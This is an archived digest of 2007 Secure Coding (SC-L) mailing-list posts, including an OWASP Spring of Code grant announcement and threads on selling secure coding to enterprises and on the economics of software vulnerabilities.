blog www.cigital.com/justiceleague
book www.swsec.com 


----------------------------------------------------------------------------
This electronic message transmission contains information that may be
confidential or privileged.  The information contained herein is intended
solely for the recipient and use by any other party is not authorized.  If
you are not the intended recipient (or otherwise authorized to receive this
message by the intended recipient), any disclosure, copying, distribution or
use of the contents of the information is prohibited.  If you have received
this electronic message transmission in error, please contact the sender by
reply email and delete all copies of this message.  Cigital, Inc. accepts no
responsibility for any loss or damage resulting directly or indirectly from
the use of this email or its contents.
Thank You.
----------------------------------------------------------------------------


From dinis at ddplus.net  Fri Mar 16 05:05:49 2007
From: dinis at ddplus.net (Dinis Cruz)
Date: Fri, 16 Mar 2007 10:05:49 +0000
Subject: [SC-L] OWASP Spring of Code 2007
Message-ID: <701fd6b60703160305i5967e876i710cc89d8aa33157@mail.gmail.com>

Following the success of last year's OWASP Autumn of
Code<http://www.owasp.org/index.php/OWASP_Autumn_Of_Code_2006>(AoC 06)
we are are now launching the OWASP
Spring of Code 2007<http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007>(SpoC
007) with more budget, more energy and more expectations :)

Here are the main links for this initiative:

   - * OWASP Spring Of Code
2007*<http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007>- main
page
   - OWASP Spring Of Code 2007 : Press Release
   <http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_:_Press_Release>-
The press release
   - OWASP Spring Of Code 2007 Project Ideas
   <http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Project_Ideas>-
If you are looking for projects to do
   - OWASP Spring Of Code 2007 Applications
   <http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Applications>-
Where to submit Applications
   - OWASP Spring Of Code 2007 : Selection
   <http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_:_Selection>-
The selection criteria and links to each selected project page

At the end of this email is the press release with more details about this
innitiative. This in a nutshell says that we have (at least) $110,000 USD
budget, that everybody can apply and that we are going to give 10 'no
strings attached'  1,000 USD grants to popular security Open Source
projects.

Of course that you are invited to submit an application and use this
opportunity to work on an (existent or new) OWASP project, increase
knowledge and create a great tool / document (note: submission period ends
on the 30th of March).

Also if you are thinking of joing OWASP as a member, then use this
opportunity to do so and allocate your membership fees to project(s) you are
interested in.
As always, I am here to help, so feel free to contact me.

Best regards

Dinis Cruz
Chief OWASP Evangelist
http://www.owasp.org

-------------------------------------------------------------------------------------------------------------------


For Immediate Release

*OWASP Spring Of Code 2007 sponsorship initiative and Membership Drive*

*London, United Kingdom, March 14, 2007*

The OWASP Spring of Code
2007<http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007>(SpoC
007) aims to financially sponsor contributions to OWASP Projects.
*SpoC 007 * follows up the successful AoC 06 (OWASP Autumn of Code 2006
<http://www.owasp.org/index.php/OWASP_Autumn_Of_Code_2006>) in which 9
projects were sponsored and greatly improved.

The objective of *SpoC 007* is to allow contributors to allocate
considerable resources on (existent or new) OWASP projects which are
relevant and beneficial to the OWASP community.

The initial Budget for *SpoC 007* will be $110,000 USD, and it is funded by
OWASP (using current membership fees and profits from past conferences) and
newly joined members (currently SPI Dynamics and EDS). In parallel with the
*Request for Proposals*, OWASP would like to invite individuals and
companies that benefit from OWASP projects to join OWASP as a member. In
addition to the current Membership benefits, the new OWASP members will be
able to allocate membership fees to SpoC 007 projects they are interested in
(for example SPI Dynamics is sponsoring the OWASP SiteGenerator project).

The *SpoC 007* structure and organization is very similar to the very
successful OWASP Autumn Of Code 2006 (AoC 06), whereby the major changes
are: Bigger budget (with a $20,000 USD sponsorship), the special project:
"10 Donations to Open Source projects" and an Internship

There are no geographical, age or any other form of restrictions of who can
apply for an "OWASP Spring of Code 2007" sponsorship. The only requirement
is that the candidate shows the potential to accomplish the project's
objectives and the commitment to dedicate the time required to complete it
in the allocated time frame (projects must be completed by 9th July 2007).

Prospective candidates should visit the
http://www.owasp.org/index.php/Owasp_Spring_Of_Code_2007
page for SpoC 007 information (rules & how to apply) and the
http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Project_Ideas page
for project ideas.

*Schedule:*

   - 14th March ? OWASP Spring of Code 2007 initiative is officially
   launched
   - 30th March - Deadline for project proposals
   - 9th April - Publish of selected projects and start of SpoC projects
   - 17th May - Announcement of the winners of the '10 Donations to Open
   Source projects' on OWASP Conference in Italy
   - 9th July - Project Completion, participants to deliver final project
   report

The special SpoC 007 project "10 Donations to Open Source projects" will be
made of 10 $1,000 USD grants to the top 10 Open Source projects which OWASP
members use regularly and really find useful. The payment would be a
no-strings attached "Thanks for the hard work in creating this tool (which
is widely used and appreciated in the OWASP community) and please keep
working on the next version".

The OWASP Spring Of Code 2007 is not connected to the Google Summer of Code.


The "OWASP Spring of Code 2007" project leader is Dinis Cruz (based in
London, UK) who can be contacted for further details.

*About OWASP*

The Open Web Application Security Project (OWASP) is a 501c3 not-for-profit
foundation dedicated to enabling organizations to develop, purchase, and
maintain applications that can be trusted. OWASP's open source projects and
local chapters produce free, unbiased, open-source documentation and tools.
The OWASP community also facilitates conferences, local chapters, papers,
presentations, and mailing lists. More information can be found at
www.owasp.org.


*Contacts*

Dinis Cruz, Chief OWASP Evangelist
E-mail: dinis.cruz at owasp.net

Andrew van der Stock, OWASP Executive Director,
E-mail: vanderaj at owasp.org

Jeff Williams, OWASP Chair (Alternative contact for all OWASP matters),
E-mail:jeff.williams at owasp.org
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070316/e53cea66/attachment.html 

From James.McGovern at thehartford.com  Mon Mar 19 10:35:35 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Mon, 19 Mar 2007 11:35:35 -0400
Subject: [SC-L] How is secure coding sold within enterprises?
In-Reply-To: <701fd6b60703160305i5967e876i710cc89d8aa33157@mail.gmail.com>
Message-ID: <773F863A6009244B87E6E866AFC7DB46019CA58D@AD1HFDEXC309.ad1.prod>

I am attempting to figure out how other Fortune enterprises have went about selling the need for secure coding practices and can't seem to find the answer I seek. Essentially, I have discovered that one of a few scenarios exist (a) the leadership chain was highly technical and intuitively understood the need (b) the primary business model of the enterprise is either banking, investments, etc where the risk is perceived higher if it is not performed (c) it was strongly encouraged by a member of a very large consulting firm (e.g. McKinsey, Accenture, etc).
 
I would like to understand what does the Powerpoint deck that employees of Fortune enterprises use to sell the concept PRIOR to bringing in consultants and vendors to help them fulfill the need. Has anyone ran across any PPT that best outlines this for demographics where the need is real but considered less important than other intiatives?


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070319/d0ee1d34/attachment.html 

From vanderaj at owasp.org  Mon Mar 19 13:49:50 2007
From: vanderaj at owasp.org (Andrew van der Stock)
Date: Mon, 19 Mar 2007 14:49:50 -0400
Subject: [SC-L] How is secure coding sold within enterprises?
In-Reply-To: <773F863A6009244B87E6E866AFC7DB46019CA58D@AD1HFDEXC309.ad1.prod>
Message-ID: <C224538E.2E37%vanderaj@owasp.org>

There are two major methods:

1. Opportunity cost / competitive advantage (the Microsoft model)
2. Recovery cost reductions (the model used by most financial institutions)

Generally, opportunity cost is where an organization can further its goals
by a secure business foundation. This requires the CIO/CSO to be able to
sell the business on this model, which is hard when it is clear that many
businesses have been founded on insecure foundations and do quite well
nonetheless. Companies that choose to be secure have a competitive
advantage, an advantage that will increase over time and will win conquest
customers. For example (and this is my humble opinion), Oracle?s security is
a long standing unbreakable joke, and in the meantime MS ploughed billions
into fixing their tattered reputation by making it a competitive advantage,
and thus making their market dominance nearly complete. Oracle is now paying
for their CSO?s mistake in not understanding this model earlier. Forward
looking financial institutions are now using this model, such as my old
bank?s (with its SMS transaction authentication feature) winning many new
customers by not only promoting themselves as secure, but doing the right
thing and investing in essentially eliminating Internet Banking fraud. It
saves them money, and it works well for customers. This is the best model,
but the hardest to sell.

The second model is used by most financial institutions. They are mature
risk managers and understand that a certain level of risk must be taken in
return for doing business. By choosing to invest some of the potential or
known losses in reducing the potential for massive losses, they can reduce
the overall risk present in the corporate risk register, which plays well to
shareholders. For example, if you invest $1m in securing a cheque clearance
process worth (say) $10b annually to the business, and that reduces check
fraud by $5m per year and eliminates $2m of unnecessary overhead every year,
security is an easy sell with obvious targets to improve profitability. A
well managed operational risk group will easily identify the riskiest
aspects of a mature company?s activities, and it?s easy to justify
improvements in those areas.

The FUD model (used by many vendors - ?do this or the SOX boogeyman will get
you?) does not work.

The do nothing model (used by nearly everyone who doesn?t fall into the
first two categories) works for a time, but can spectacularly end a
business. Card Systems anyone? Unknown risk is too risky a proposition, and
is plain director negligence in my view.

Thanks,
Andrew 


On 3/19/07 11:35 AM, "McGovern, James F (HTSC, IT)"
<James.McGovern at thehartford.com> wrote:

> I am attempting to figure out how other Fortune enterprises have went about
> selling the need for secure coding practices and can't seem to find the answer
> I seek. Essentially, I have discovered that one of a few scenarios exist (a)
> the leadership chain was highly technical and intuitively understood the need
> (b) the primary business model of the enterprise is either banking,
> investments, etc where the risk is perceived higher if it is not performed (c)
> it was strongly encouraged by a member of a very large consulting firm (e.g.
> McKinsey, Accenture, etc).
>  
> I would like to understand what does the Powerpoint deck that employees of
> Fortune enterprises use to sell the concept PRIOR to bringing in consultants
> and vendors to help them fulfill the need. Has anyone ran across any PPT that
> best outlines this for demographics where the need is real but considered less
> important than other intiatives?
> 
> 
> *************************************************************************
> This communication, including attachments, is
> for the exclusive use of addressee and may contain proprietary,
> confidential and/or privileged information.  If you are not the intended
> recipient, any use, copying, disclosure, dissemination or distribution is
> strictly prohibited.  If you are not the intended recipient, please notify
> the sender immediately by return e-mail, delete this communication and
> destroy all copies.
> *************************************************************************
> 
> 
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________


-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070319/c257ea1b/attachment.html 

From crispin at novell.com  Mon Mar 19 15:00:09 2007
From: crispin at novell.com (Crispin Cowan)
Date: Mon, 19 Mar 2007 14:00:09 -0600
Subject: [SC-L] Economics of Software Vulnerabilities
In-Reply-To: <83B3489DF1064F4E90218770D953D36107B8EA@va-mail.cigital.com>
References: <83B3489DF1064F4E90218770D953D36107B8EA@va-mail.cigital.com>
Message-ID: <45FEEBC9.6060703@novell.com>

Gary McGraw wrote:
> I'm not sure vista is bombing because of good quality.   That certainly would be ironic.   
>
> Word on the "way down in the guts" street is that vista is too many things cobbled together into one big kinda functioning mess.
I.e. it is mis-featured, and lacks on some integration. This is a
variation on not having desired features. And there certainly are big
features in Vista that were supposed to be there but aren't (most of
user-land being managed code, relational file system).

It is also infamously late.

So if the resources that were put into the code quality in Vista had
instead been put into features and ship-date, would it do better in the
marketplace?

Sure, that's heretical :) but it just might be true :(

Crispin, now believes that users are fundamentally what holds back security

-- 
Crispin Cowan, Ph.D.               http://crispincowan.com/~crispin/
Director of Software Engineering   http://novell.com
AppArmor Training at CanSec West   http://cansecwest.com/dojoapparmor.html


From gem at cigital.com  Mon Mar 19 15:12:37 2007
From: gem at cigital.com (Gary McGraw)
Date: Mon, 19 Mar 2007 16:12:37 -0400
Subject: [SC-L] Economics of Software Vulnerabilities
Message-ID: <83B3489DF1064F4E90218770D953D36107B969@va-mail.cigital.com>

Very interesting.  Crispin is in the throes of big software.  Anybody want to help me mount a rescue campaign from jamaica?

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com


 -----Original Message-----
From: 	Crispin Cowan [mailto:crispin at novell.com]
Sent:	Mon Mar 19 16:00:48 2007
To:	Gary McGraw
Cc:	Ed Reed; sc-l at securecoding.org
Subject:	Re: [SC-L] Economics of Software Vulnerabilities

Gary McGraw wrote:
> I'm not sure vista is bombing because of good quality.   That certainly would be ironic.   
>
> Word on the "way down in the guts" street is that vista is too many things cobbled together into one big kinda functioning mess.
I.e. it is mis-featured, and lacks on some integration. This is a
variation on not having desired features. And there certainly are big
features in Vista that were supposed to be there but aren't (most of
user-land being managed code, relational file system).

It is also infamously late.

So if the resources that were put into the code quality in Vista had
instead been put into features and ship-date, would it do better in the
marketplace?

Sure, that's heretical :) but it just might be true :(

Crispin, now believes that users are fundamentally what holds back security

-- 
Crispin Cowan, Ph.D.               http://crispincowan.com/~crispin/
Director of Software Engineering   http://novell.com
AppArmor Training at CanSec West   http://cansecwest.com/dojoapparmor.html





----------------------------------------------------------------------------
This electronic message transmission contains information that may be
confidential or privileged.  The information contained herein is intended
solely for the recipient and use by any other party is not authorized.  If
you are not the intended recipient (or otherwise authorized to receive this
message by the intended recipient), any disclosure, copying, distribution or
use of the contents of the information is prohibited.  If you have received
this electronic message transmission in error, please contact the sender by
reply email and delete all copies of this message.  Cigital, Inc. accepts no
responsibility for any loss or damage resulting directly or indirectly from
the use of this email or its contents.
Thank You.
----------------------------------------------------------------------------


From James.McGovern at thehartford.com  Mon Mar 19 15:12:28 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Mon, 19 Mar 2007 16:12:28 -0400
Subject: [SC-L] How is secure coding sold within enterprises?
In-Reply-To: <C224538E.2E37%vanderaj@owasp.org>
Message-ID: <773F863A6009244B87E6E866AFC7DB46019CA593@AD1HFDEXC309.ad1.prod>

I agree with your assessment of how things are sold at a high-level but still struggling in that it takes more than just graphicalizing of your points to sell, hence I am still attempting to figure out a way to get my hands on some PPT that are used internal to enterprises prior to consulting engagements and I think a better answer will emerge. PPT may provide a sense of budget, timelines, roles and responsibilities, who needed to buy-in, industry metrics, quotes from noted industry analysts, etc that will help shortcut my own work so I can start moving towards the more important stuff.

-----Original Message-----
From: Andrew van der Stock [mailto:vanderaj at owasp.org]
Sent: Monday, March 19, 2007 2:50 PM
To: McGovern, James F (HTSC, IT)
Cc: SC-L
Subject: Re: [SC-L] How is secure coding sold within enterprises?


There are two major methods:



1.	Opportunity cost / competitive advantage (the Microsoft model) 

2.	Recovery cost reductions (the model used by most financial institutions)



Generally, opportunity cost is where an organization can further its goals by a secure business foundation. This requires the CIO/CSO to be able to sell the business on this model, which is hard when it is clear that many businesses have been founded on insecure foundations and do quite well nonetheless. Companies that choose to be secure have a competitive advantage, an advantage that will increase over time and will win conquest customers. For example (and this is my humble opinion), Oracle's security is a long standing unbreakable joke, and in the meantime MS ploughed billions into fixing their tattered reputation by making it a competitive advantage, and thus making their market dominance nearly complete. Oracle is now paying for their CSO's mistake in not understanding this model earlier. Forward looking financial institutions are now using this model, such as my old bank's (with its SMS transaction authentication feature) winning many new customers by not only promoting themselves as secure, but doing the right thing and investing in essentially eliminating Internet Banking fraud. It saves them money, and it works well for customers. This is the best model, but the hardest to sell.

The second model is used by most financial institutions. They are mature risk managers and understand that a certain level of risk must be taken in return for doing business. By choosing to invest some of the potential or known losses in reducing the potential for massive losses, they can reduce the overall risk present in the corporate risk register, which plays well to shareholders. For example, if you invest $1m in securing a cheque clearance process worth (say) $10b annually to the business, and that reduces check fraud by $5m per year and eliminates $2m of unnecessary overhead every year, security is an easy sell with obvious targets to improve profitability. A well managed operational risk group will easily identify the riskiest aspects of a mature company's activities, and it's easy to justify improvements in those areas. 

The FUD model (used by many vendors - "do this or the SOX boogeyman will get you") does not work.

The do nothing model (used by nearly everyone who doesn't fall into the first two categories) works for a time, but can spectacularly end a business. Card Systems anyone? Unknown risk is too risky a proposition, and is plain director negligence in my view. 

Thanks,
Andrew 


On 3/19/07 11:35 AM, "McGovern, James F (HTSC, IT)" <James.McGovern at thehartford.com> wrote:



I am attempting to figure out how other Fortune enterprises have went about selling the need for secure coding practices and can't seem to find the answer I seek. Essentially, I have discovered that one of a few scenarios exist (a) the leadership chain was highly technical and intuitively understood the need (b) the primary business model of the enterprise is either banking, investments, etc where the risk is perceived higher if it is not performed (c) it was strongly encouraged by a member of a very large consulting firm (e.g. McKinsey, Accenture, etc).

I would like to understand what does the Powerpoint deck that employees of Fortune enterprises use to sell the concept PRIOR to bringing in consultants and vendors to help them fulfill the need. Has anyone ran across any PPT that best outlines this for demographics where the need is real but considered less important than other intiatives?


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************


  _____  

_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC ( http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________





-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070319/0c0197b5/attachment-0001.html 

From crispin at novell.com  Mon Mar 19 15:47:08 2007
From: crispin at novell.com (Crispin Cowan)
Date: Mon, 19 Mar 2007 14:47:08 -0600
Subject: [SC-L] Economics of Software Vulnerabilities
In-Reply-To: <83B3489DF1064F4E90218770D953D36107B969@va-mail.cigital.com>
References: <83B3489DF1064F4E90218770D953D36107B969@va-mail.cigital.com>
Message-ID: <45FEF6CC.9090709@novell.com>

Gary McGraw wrote:
> Very interesting.  Crispin is in the throes of big software.  Anybody want to help me mount a rescue campaign from jamaica?
>   
It is the art of managing upwards. To get my boss to do what I want him
to do, I have to encourage him, I can't just tell him. And his boss. And
his boss. And /his/ boss is the customer. So with a very long pole with
hinges in it, I have to try to get the customer to do what I want.

With that kind of interface to the customer, the only way to get the
customer to be more secure is to make being more secure the path of
least resistance. Make the secure way of doing things so easy that
anything else is just dumb, and the users will migrate to the secure way.

This is a highly unnatural thing to do. Security is the business of
saying "no" to access requests, and so is mostly viewed as being the
enemy of convenience.

However, it can be done. SSH did it; logging in to a remote host is
easier with SSH than with telnet or rlogin, because it lets you place
public keys (so you don't even have to type a password) and tunnels your
X11 stuff so that remote graphical stuff "just works".

All this is why ease of use was the #1 design goal of my AppArmor
product. Grey beards love to go around quoting the fable that you can't
add security to an existing system, you have to design it in. Well guess
what; you can't add ease of use to an existing system either, it has to
be designed in. And if you fail to provide for ease of use, then users
won't use it, at which point the security value of your solution drops
to zero.

Crispin

-- 
Crispin Cowan, Ph.D.               http://crispincowan.com/~crispin/
Director of Software Engineering   http://novell.com
AppArmor Training at CanSec West   http://cansecwest.com/dojoapparmor.html


From ed.reed at aesec.com  Mon Mar 19 15:27:18 2007
From: ed.reed at aesec.com (Ed Reed)
Date: Mon, 19 Mar 2007 16:27:18 -0400
Subject: [SC-L] Economics of Software Vulnerabilities
In-Reply-To: <45FEEBC9.6060703@novell.com>
References: <83B3489DF1064F4E90218770D953D36107B8EA@va-mail.cigital.com>
	<45FEEBC9.6060703@novell.com>
Message-ID: <45FEF226.3090803@aesec.com>

Crispin Cowan wrote:
> Crispin, now believes that users are fundamentally what holds back security
>
>   
I was once berated on stage by Jamie Lewis for sounding like I was
placing the blame for poor security on customers themselves.

I have moved on, and believe, instead, that it is the economic
inequities - the mis-allocation of true costs - that is really to blame.

Vendors are getting better, because they're being shamed by publicity -
not because they're bearing more of the costs that users incur due to
shoddy software.

But as bad as the costs are that are born by users of shoddy software
(patch costs, loss of utility, denial of service, licenses for
anti-virus software to make up for the egregiously bad code that leaves
buffer overflow exploits available that anyone can leverage to take over
a system) - as bad as those costs are they're still swapped by the value
- increased productivity and adrenalin rush - that commercial
feature-ism delivers.

Add the slowly-warmed pot phenomenon (apocryphal as it may be) -
customers don't jump out of the boiling pot because they're too invested
to walk away.

Eventually I think they'll get fed up and there'll be a consumer uprising.

Until then let's encourage better coding practices and secure designs
and deep thought about "what policy do I want enforced". 

(obligatory plug for high assurance)

But, let's not confuse code quality with code security, either.  It
isn't secure (against hostile code) until you can verify that it (a)
does what the policy says it should do (functional testing) and (b)
doesn't do what the security policy says it shouldn't do (fuzzing is
just a way of performing boundary tests on inputs - it tells you nothing
about hidden behaviors of the system, and you can't tell anything about
those without formal analysis and good life cycle configuration management).

Ed

From vanderaj at owasp.org  Mon Mar 19 16:05:57 2007
From: vanderaj at owasp.org (Andrew van der Stock)
Date: Mon, 19 Mar 2007 17:05:57 -0400
Subject: [SC-L] How is secure coding sold within enterprises?
In-Reply-To: <773F863A6009244B87E6E866AFC7DB46019CA593@AD1HFDEXC309.ad1.prod>
Message-ID: <C2247375.2E56%vanderaj@owasp.org>

In terms of creating a SDLC, pop out to Borders and get Howard and Lipner?s
?The Security Development Lifecycle? ISBN 9780735622142

http://www.microsoft.com/mspress/books/8753.aspx

It is simply the best text I?ve read in a long time.

You may be interested in the work Mark Curphey et al is doing at his new
start up. They launched an ISM portal a couple of weeks back.

http://www.ism-community.org/

If you?re just after ideas on how to engage vendors, check out Curphey?s
blog for some nice insider posts:

http://securitybuddha.com/2007/03/07/top-10-tips-for-hiring-web-application-
pen-testers/
http://securitybuddha.com/2007/03/07/top-ten-tips-for-hiring-security-code-r
eviewers/
http://securitybuddha.com/2007/03/08/top-ten-tips-for-managing-technical-sec
urity-folks/

He ran Foundstone?s services for a while, and built up a pretty good
consultancy. 

The sort of metrics you?re after are notoriously hard to find out in the
wild. There?s some folks capturing screenshots of enterprise dashboards.
This may or may not help at all.

http://dashboardspy.com/

Thanks,
Andrew


On 3/19/07 4:12 PM, "McGovern, James F (HTSC, IT)"
<James.McGovern at thehartford.com> wrote:

> I agree with your assessment of how things are sold at a high-level but still
> struggling in that it takes more than just graphicalizing of your points to
> sell, hence I am still attempting to figure out a way to get my hands on some
> PPT that are used internal to enterprises prior to consulting engagements and
> I think a better answer will emerge. PPT may provide a sense of budget,
> timelines, roles and responsibilities, who needed to buy-in, industry metrics,
> quotes from noted industry analysts, etc that will help shortcut my own work
> so I can start moving towards the more important stuff.
>>  
>> -----Original Message-----
>> From: Andrew van der Stock  [mailto:vanderaj at owasp.org]
>> Sent: Monday, March 19, 2007 2:50  PM
>> To: McGovern, James F (HTSC, IT)
>> Cc:  SC-L
>> Subject: Re: [SC-L] How is secure coding sold within  enterprises?
>> 
>> There are two major methods:
>> 
>>  
>> 1. Opportunity cost / competitive advantage (the  Microsoft model)
>> 2. Recovery cost reductions (the model used by most  financial institutions)
>> 
>> Generally,  opportunity cost is where an organization can further its goals
>> by a secure  business foundation. This requires the CIO/CSO to be able to
>> sell the business  on this model, which is hard when it is clear that many
>> businesses have been  founded on insecure foundations and do quite well
>> nonetheless. Companies that  choose to be secure have a competitive
>> advantage, an advantage that will  increase over time and will win conquest
>> customers. For example (and this is  my humble opinion), Oracle?s security is
>> a long standing unbreakable joke, and  in the meantime MS ploughed billions
>> into fixing their tattered reputation by  making it a competitive advantage,
>> and thus making their market dominance  nearly complete. Oracle is now paying
>> for their CSO?s mistake in not  understanding this model earlier. Forward
>> looking financial institutions are  now using this model, such as my old
>> bank?s (with its SMS transaction  authentication feature) winning many new
>> customers by not only promoting  themselves as secure, but doing the right
>> thing and investing in essentially  eliminating Internet Banking fraud. It
>> saves them money, and it works well for  customers. This is the best model,
>> but the hardest to sell.
>> 
>> The second  model is used by most financial institutions. They are mature
>> risk managers  and understand that a certain level of risk must be taken in
>> return for doing  business. By choosing to invest some of the potential or
>> known losses in  reducing the potential for massive losses, they can reduce
>> the overall risk  present in the corporate risk register, which plays well to
>> shareholders. For  example, if you invest $1m in securing a cheque clearance
>> process worth (say)  $10b annually to the business, and that reduces check
>> fraud by $5m per year  and eliminates $2m of unnecessary overhead every year,
>> security is an easy  sell with obvious targets to improve profitability. A
>> well managed operational  risk group will easily identify the riskiest
>> aspects of a mature company?s  activities, and it?s easy to justify
>> improvements in those areas.
>> 
>> The  FUD model (used by many vendors - ?do this or the SOX boogeyman will get
>> you?)  does not work.
>> 
>> The do nothing model (used by nearly everyone who  doesn?t fall into the
>> first two categories) works for a time, but can  spectacularly end a
>> business. Card Systems anyone? Unknown risk is too risky a  proposition, and
>> is plain director negligence in my view.
>> 
>> Thanks,
>> Andrew 
>> 
>> 
>> On 3/19/07 11:35 AM, "McGovern, James F  (HTSC, IT)"
>> <James.McGovern at thehartford.com> wrote:
>> 
>>  
>>> I am attempting to figure out how other Fortune enterprises have  went about
>>> selling the need for secure coding practices and can't seem to  find the
>>> answer I seek. Essentially, I have discovered that one of a few  scenarios
>>> exist (a) the leadership chain was highly technical and  intuitively
>>> understood the need (b) the primary business model of the  enterprise is
>>> either banking, investments, etc where the risk is perceived  higher if it
>>> is not performed (c) it was strongly encouraged by a member of  a very large
>>> consulting firm (e.g. McKinsey, Accenture,  etc).
>>> 
>>> I would like to understand what does the Powerpoint deck that  employees of
>>> Fortune enterprises use to sell the concept PRIOR  to bringing in
>>> consultants and vendors to help them fulfill the need. Has  anyone ran
>>> across any PPT that best outlines this for demographics where the  need is
>>> real but considered less important than other  intiatives?
>>> 
>>> 
>>> *************************************************************************
>>> This  communication, including attachments, is
>>> for the exclusive use of  addressee and may contain proprietary,
>>> confidential and/or privileged  information.  If you are not the intended
>>> recipient, any use,  copying, disclosure, dissemination or distribution is
>>> strictly  prohibited.  If you are not the intended recipient, please  notify
>>> the sender immediately by return e-mail, delete this communication  and
>>> destroy all  copies.
>>> *************************************************************************
>>> 
>>>  
>>> 
>>>  _______________________________________________
>>> Secure  Coding mailing list (SC-L) SC-L at securecoding.org
>>> List information,  subscriptions, etc -
>>> http://krvw.com/mailman/listinfo/sc-l
>>> List  charter available at - http://www.securecoding.org/list/charter.php
>>> SC-L  is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
>>> as a free,  non-commercial service to the software security  community.
>>> _______________________________________________
>> 
> 
> 
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________


-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070319/a5ef1961/attachment.html 

From crispin at novell.com  Mon Mar 19 17:39:24 2007
From: crispin at novell.com (Crispin Cowan)
Date: Mon, 19 Mar 2007 16:39:24 -0600
Subject: [SC-L] Economics of Software Vulnerabilities
In-Reply-To: <45FEF226.3090803@aesec.com>
References: <83B3489DF1064F4E90218770D953D36107B8EA@va-mail.cigital.com>
	<45FEEBC9.6060703@novell.com> <45FEF226.3090803@aesec.com>
Message-ID: <45FF111C.9010707@novell.com>

Ed Reed wrote:
> Crispin Cowan wrote:
>   
>> Crispin, now believes that users are fundamentally what holds back security
>>   
>>     
> I was once berated on stage by Jamie Lewis for sounding like I was
> placing the blame for poor security on customers themselves.
>   
Fight back harder. Jamie is wrong. The free market is full of product
offerings of every description. If users cared about security, they
would buy different products than they do, and deploy them different
than they do. QED, lack of security is user's fault.

> I have moved on, and believe, instead, that it is the economic
> inequities - the mis-allocation of true costs - that is really to blame.
>   
Since many users are economically motivated, this may explain why users
don't care much about security :)

A competitive free-market economy is really a large optimization engine
for finding the most efficient way to do things, because the more
efficient enterprises crush the less efficient. As such, I have a fair
degree of faith that senior management is applying approximately the
right amount of security to mitigate the threat that they face. If they
are not doing so, they are at risk from competitors who do apply the
right amount of security.

What has made the security industry grow for the last decade has been
the huge growth in connectivity. That has grow the attack surface, and
hence the threat, that enterprises face. And that has caused enterprises
to grow the amount of security they deploy.

> Add the slowly-warmed pot phenomenon (apocryphal as it may be) -
> customers don't jump out of the boiling pot because they're too invested
> to walk away.
>
> Eventually I think they'll get fed up and there'll be a consumer uprising.
>   
Why do you think it will be an uprising? Why not a gradual shift of the
vendors just get better, exactly as fast as the users need them to?

> Until then let's encourage better coding practices and secure designs
> and deep thought about "what policy do I want enforced". 
>   
Technologists figure out how to do stuff. Economists and strategists
figure out what to do. We can encourage all we want, but we are just
shouting into the wind until enterprise users demand better security.

Crispin

From jsteven at cigital.com  Mon Mar 19 20:55:37 2007
From: jsteven at cigital.com (John Steven)
Date: Mon, 19 Mar 2007 21:55:37 -0400
Subject: [SC-L] How is secure coding sold within enterprises?
In-Reply-To: <773F863A6009244B87E6E866AFC7DB46019CA593@AD1HFDEXC309.ad1.prod>
References: <773F863A6009244B87E6E866AFC7DB46019CA593@AD1HFDEXC309.ad1.prod>
Message-ID: <2C9A6525-063E-4603-927E-8C0867CEE76B@cigital.com>

Andrew, James,

Agreed, Microsoft has put some interesting thoughts out in their SDL  
book. Companies that produce a software product will find a lot of  
this approach resonates well. IT shops supporting financial houses  
will have more difficulty. McGraw wrote a decent blog entry on this  
topic:

http://www.cigital.com/justiceleague/2007/03/08/cigitals-touchpoints- 
versus-microsofts-sdl/

Shockingly, however, I seem to be his only commentator on the topic.

I think James will find Microsoft's literature falls terribly short  
of even the raw material required to produce the PPT he desires.  
Let's see what we can do for him.

First: audience. I'm not sure of James' position, but it doesn't  
sound like he's high enough that he's got the CISO's ear now, nor  
that he's face-down in the weeds either. James, you sit somewhere in- 
between? James appears to work for an insurance company. Insurance  
companies do care about risk, but they're sometimes blind to the  
kinds (and magnitudes) of software risk their business faces. They  
fall in a middle ground between securities companies and banks.

